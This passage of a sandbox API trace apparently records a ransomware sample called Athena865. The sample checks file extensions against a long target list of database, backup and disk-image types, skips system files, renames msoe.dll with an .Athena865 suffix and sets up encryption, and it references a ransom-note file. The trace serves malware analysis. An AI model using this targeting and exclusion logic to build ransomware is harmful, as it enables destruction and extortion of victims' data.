lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.537] lstrlenW (lpString="dbx") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.537] lstrlenW (lpString="dcb") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.537] lstrlenW (lpString="dct") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.537] lstrlenW (lpString="dcx") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0046.537] lstrlenW (lpString="ddl") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0046.537] lstrlenW (lpString="dlis") returned 4 [0046.537] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0046.537] lstrlenW (lpString="dp1") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0046.537] lstrlenW (lpString="dqy") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0046.538] lstrlenW (lpString="dsk") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0046.538] lstrlenW (lpString="dsn") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0046.538] lstrlenW (lpString="dtsx") returned 4 [0046.538] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0046.538] lstrlenW (lpString="dxl") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0046.538] lstrlenW (lpString="eco") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0046.538] lstrlenW (lpString="ecx") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0046.538] lstrlenW (lpString="edb") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0046.538] lstrlenW (lpString="epim") returned 4 [0046.538] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0046.538] lstrlenW (lpString="fcd") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0046.538] lstrlenW (lpString="fdb") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0046.538] lstrlenW (lpString="fic") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0046.538] lstrlenW (lpString="flexolibrary") returned 12 [0046.538] lstrlenW (lpString="fm5") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0046.538] lstrlenW (lpString="fmp") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0046.538] lstrlenW (lpString="fmp12") returned 5 [0046.538] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0046.538] lstrlenW (lpString="fmpsl") returned 5 [0046.538] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0046.538] lstrlenW (lpString="fol") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0046.538] lstrlenW (lpString="fp3") returned 3 [0046.538] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0046.539] lstrlenW (lpString="fp4") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0046.539] lstrlenW (lpString="fp5") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0046.539] lstrlenW (lpString="fp7") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0046.539] lstrlenW (lpString="fpt") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0046.539] lstrlenW (lpString="frm") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0046.539] lstrlenW (lpString="gdb") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.539] lstrlenW (lpString="gdb") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.539] lstrlenW (lpString="grdb") returned 4 [0046.539] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0046.539] lstrlenW (lpString="gwi") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0046.539] lstrlenW (lpString="hdb") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0046.539] lstrlenW (lpString="his") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0046.539] lstrlenW (lpString="ib") returned 2 [0046.539] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0046.539] lstrlenW (lpString="idb") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0046.539] lstrlenW (lpString="ihx") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0046.539] lstrlenW (lpString="itdb") returned 4 [0046.539] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0046.539] lstrlenW (lpString="itw") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0046.539] lstrlenW (lpString="jet") returned 3 [0046.539] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0046.539] lstrlenW (lpString="jtx") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0046.540] lstrlenW (lpString="kdb") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0046.540] lstrlenW (lpString="kexi") returned 4 [0046.540] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0046.540] lstrlenW (lpString="kexic") returned 5 [0046.540] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0046.540] lstrlenW (lpString="kexis") returned 5 [0046.540] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0046.540] lstrlenW (lpString="lgc") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0046.540] lstrlenW (lpString="lwx") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0046.540] lstrlenW (lpString="maf") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0046.540] lstrlenW (lpString="maq") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0046.540] lstrlenW (lpString="mar") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0046.540] lstrlenW (lpString="marshal") returned 7 [0046.540] lstrcmpiW (lpString1="soe.dll", lpString2="marshal") returned 1 [0046.540] lstrlenW (lpString="mas") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0046.540] lstrlenW (lpString="mav") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0046.540] lstrlenW (lpString="maw") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0046.540] lstrlenW (lpString="mdbhtml") returned 7 [0046.540] lstrcmpiW (lpString1="soe.dll", lpString2="mdbhtml") returned 1 [0046.540] lstrlenW (lpString="mdn") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0046.540] lstrlenW (lpString="mdt") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0046.540] lstrlenW (lpString="mfd") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0046.540] lstrlenW (lpString="mpd") returned 3 [0046.540] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0046.541] lstrlenW (lpString="mrg") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0046.541] lstrlenW (lpString="mud") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0046.541] lstrlenW (lpString="mwb") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0046.541] lstrlenW (lpString="myd") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0046.541] lstrlenW (lpString="ndf") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0046.541] lstrlenW (lpString="nnt") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0046.541] lstrlenW (lpString="nrmlib") returned 6 [0046.541] lstrcmpiW (lpString1="oe.dll", lpString2="nrmlib") returned 1 [0046.541] lstrlenW (lpString="ns2") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0046.541] lstrlenW (lpString="ns3") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0046.541] lstrlenW (lpString="ns4") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0046.541] lstrlenW (lpString="nsf") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0046.541] lstrlenW (lpString="nv") returned 2 [0046.541] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0046.541] lstrlenW (lpString="nv2") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0046.541] lstrlenW (lpString="nwdb") returned 4 [0046.541] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0046.541] lstrlenW (lpString="nyf") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0046.541] lstrlenW (lpString="odb") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.541] lstrlenW (lpString="odb") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.541] lstrlenW (lpString="oqy") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0046.541] lstrlenW (lpString="ora") returned 3 [0046.541] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0046.542] lstrlenW (lpString="orx") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0046.542] lstrlenW (lpString="owc") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0046.542] lstrlenW (lpString="p96") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0046.542] lstrlenW (lpString="p97") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0046.542] lstrlenW (lpString="pan") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0046.542] lstrlenW (lpString="pdb") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0046.542] lstrlenW (lpString="pdm") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0046.542] lstrlenW (lpString="pnz") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0046.542] lstrlenW (lpString="qry") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0046.542] lstrlenW (lpString="qvd") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0046.542] lstrlenW (lpString="rbf") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0046.542] lstrlenW (lpString="rctd") returned 4 [0046.542] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0046.542] lstrlenW (lpString="rod") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0046.542] lstrlenW (lpString="rodx") returned 4 [0046.542] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0046.542] lstrlenW (lpString="rpd") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0046.542] lstrlenW (lpString="rsd") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0046.542] lstrlenW (lpString="sas7bdat") returned 8 [0046.542] lstrlenW (lpString="sbf") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0046.542] lstrlenW (lpString="scx") returned 3 [0046.542] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0046.543] lstrlenW (lpString="sdb") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0046.543] lstrlenW (lpString="sdc") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0046.543] lstrlenW (lpString="sdf") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0046.543] lstrlenW (lpString="sis") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0046.543] lstrlenW (lpString="spq") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0046.543] lstrlenW (lpString="te") returned 2 [0046.543] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0046.543] lstrlenW (lpString="teacher") returned 7 [0046.543] lstrcmpiW (lpString1="soe.dll", lpString2="teacher") returned -1 [0046.543] lstrlenW (lpString="tmd") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0046.543] lstrlenW (lpString="tps") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0046.543] lstrlenW (lpString="trc") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.543] lstrlenW (lpString="trc") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.543] lstrlenW (lpString="trm") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0046.543] lstrlenW (lpString="udb") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0046.543] lstrlenW (lpString="udl") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0046.543] lstrlenW (lpString="usr") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0046.543] lstrlenW (lpString="v12") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0046.543] lstrlenW (lpString="vis") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0046.543] lstrlenW (lpString="vpd") returned 3 [0046.543] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0046.544] lstrlenW (lpString="vvv") returned 3 [0046.544] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0046.544] lstrlenW (lpString="wdb") returned 3 [0046.544] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0046.544] lstrlenW (lpString="wmdb") returned 4 [0046.544] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0046.544] lstrlenW (lpString="wrk") returned 3 [0046.544] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0046.544] lstrlenW (lpString="xdb") returned 3 [0046.544] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0046.544] lstrlenW (lpString="xld") returned 3 [0046.544] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0046.544] lstrlenW (lpString="xmlff") returned 5 [0046.544] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0046.544] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Mail\\msoe.dll.Athena865") returned 54 [0046.544] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll.athena865"), dwFlags=0x1) returned 1 [0046.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll.Athena865" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0046.545] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1619968) returned 1 [0046.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.546] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.546] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.546] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.547] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18bb00, lpName=0x0) returned 0x154 [0046.548] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18bb00) returned 0x2d50000 [0046.609] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.609] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.609] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.610] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0046.623] CloseHandle (hObject=0x154) returned 1 [0046.624] CloseHandle (hObject=0x17c) returned 1 [0046.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.653] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0046.653] lstrcmpiW (lpString1="MSOERES.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="windows") returned -1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="bootmgr") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="temp") returned -1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="pagefile.sys") returned -1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="boot") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="ids.txt") returned 1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="ntuser.dat") returned -1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="perflogs") returned -1 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2="MSBuild") returned 1 [0046.654] lstrlenW (lpString="MSOERES.dll") returned 11 [0046.654] lstrcpyW (in: lpString1=0x241e890, lpString2="MSOERES.dll" | out: lpString1="MSOERES.dll") returned="MSOERES.dll" [0046.654] lstrlenW (lpString="MSOERES.dll") returned 11 [0046.654] lstrlenW (lpString="Athena865") returned 9 [0046.654] lstrcmpiW (lpString1="OERES.dll", lpString2="Athena865") returned 1 [0046.654] lstrlenW (lpString=".dll") returned 4 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".dll") returned 1 [0046.654] lstrlenW (lpString=".lnk") returned 4 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".lnk") returned 1 [0046.654] lstrlenW (lpString=".ini") returned 4 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".ini") returned 1 [0046.654] lstrlenW (lpString=".sys") returned 4 [0046.654] lstrcmpiW (lpString1="MSOERES.dll", lpString2=".sys") returned 1 [0046.654] lstrlenW (lpString="MSOERES.dll") returned 11 [0046.654] lstrlenW (lpString="bak") returned 3 [0046.654] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.654] lstrlenW (lpString="ba_") returned 3 [0046.654] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.654] lstrlenW (lpString="dbb") returned 3 [0046.654] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.654] lstrlenW (lpString="vmdk") returned 4 [0046.654] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.654] lstrlenW (lpString="rar") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.655] lstrlenW (lpString="zip") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.655] lstrlenW (lpString="tgz") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.655] lstrlenW (lpString="vbox") returned 4 [0046.655] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.655] lstrlenW (lpString="vdi") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.655] lstrlenW (lpString="vhd") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.655] lstrlenW (lpString="vhdx") returned 4 [0046.655] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.655] lstrlenW (lpString="avhd") returned 4 [0046.655] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.655] lstrlenW (lpString="db") returned 2 [0046.655] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.655] lstrlenW (lpString="db2") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.655] lstrlenW (lpString="db3") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.655] lstrlenW (lpString="dbf") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.655] lstrlenW (lpString="mdf") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.655] lstrlenW (lpString="mdb") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.655] lstrlenW (lpString="sql") returned 3 [0046.655] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.655] lstrlenW (lpString="sqlite") returned 6 [0046.655] lstrcmpiW (lpString1="ES.dll", lpString2="sqlite") returned -1 [0046.655] lstrlenW (lpString="sqlite3") returned 7 [0046.655] lstrcmpiW (lpString1="RES.dll", lpString2="sqlite3") returned -1 [0046.655] lstrlenW (lpString="sqlitedb") returned 8 [0046.655] lstrcmpiW (lpString1="ERES.dll", lpString2="sqlitedb") returned -1 [0046.655] lstrlenW (lpString="xml") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.656] lstrlenW (lpString="$er") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.656] lstrlenW (lpString="4dd") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.656] lstrlenW (lpString="4dl") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.656] lstrlenW (lpString="^^^") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.656] lstrlenW (lpString="abs") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.656] lstrlenW (lpString="abx") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.656] lstrlenW (lpString="accdb") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accdb") returned 1 [0046.656] lstrlenW (lpString="accdc") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accdc") returned 1 [0046.656] lstrlenW (lpString="accde") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accde") returned 1 [0046.656] lstrlenW (lpString="accdr") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accdr") returned 1 [0046.656] lstrlenW (lpString="accdt") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accdt") returned 1 [0046.656] lstrlenW (lpString="accdw") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accdw") returned 1 [0046.656] lstrlenW (lpString="accft") returned 5 [0046.656] lstrcmpiW (lpString1="S.dll", lpString2="accft") returned 1 [0046.656] lstrlenW (lpString="adb") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.656] lstrlenW (lpString="adb") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.656] lstrlenW (lpString="ade") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.656] lstrlenW (lpString="adf") returned 3 [0046.656] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.657] lstrlenW (lpString="adn") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.657] lstrlenW (lpString="adp") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.657] lstrlenW (lpString="alf") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.657] lstrlenW (lpString="ask") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.657] lstrlenW (lpString="btr") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.657] lstrlenW (lpString="cat") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.657] lstrlenW (lpString="cdb") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.657] lstrlenW (lpString="ckp") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.657] lstrlenW (lpString="cma") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.657] lstrlenW (lpString="cpd") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.657] lstrlenW (lpString="dacpac") returned 6 [0046.657] lstrcmpiW (lpString1="ES.dll", lpString2="dacpac") returned 1 [0046.657] lstrlenW (lpString="dad") returned 3 [0046.657] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.657] lstrlenW (lpString="dadiagrams") returned 10 [0046.657] lstrcmpiW (lpString1="SOERES.dll", lpString2="dadiagrams") returned 1 [0046.657] lstrlenW (lpString="daschema") returned 8 [0046.657] lstrcmpiW (lpString1="ERES.dll", lpString2="daschema") returned 1 [0046.657] lstrlenW (lpString="db-journal") returned 10 [0046.657] lstrcmpiW (lpString1="SOERES.dll", lpString2="db-journal") returned 1 [0046.657] lstrlenW (lpString="db-shm") returned 6 [0046.657] lstrcmpiW (lpString1="ES.dll", lpString2="db-shm") returned 1 [0046.657] 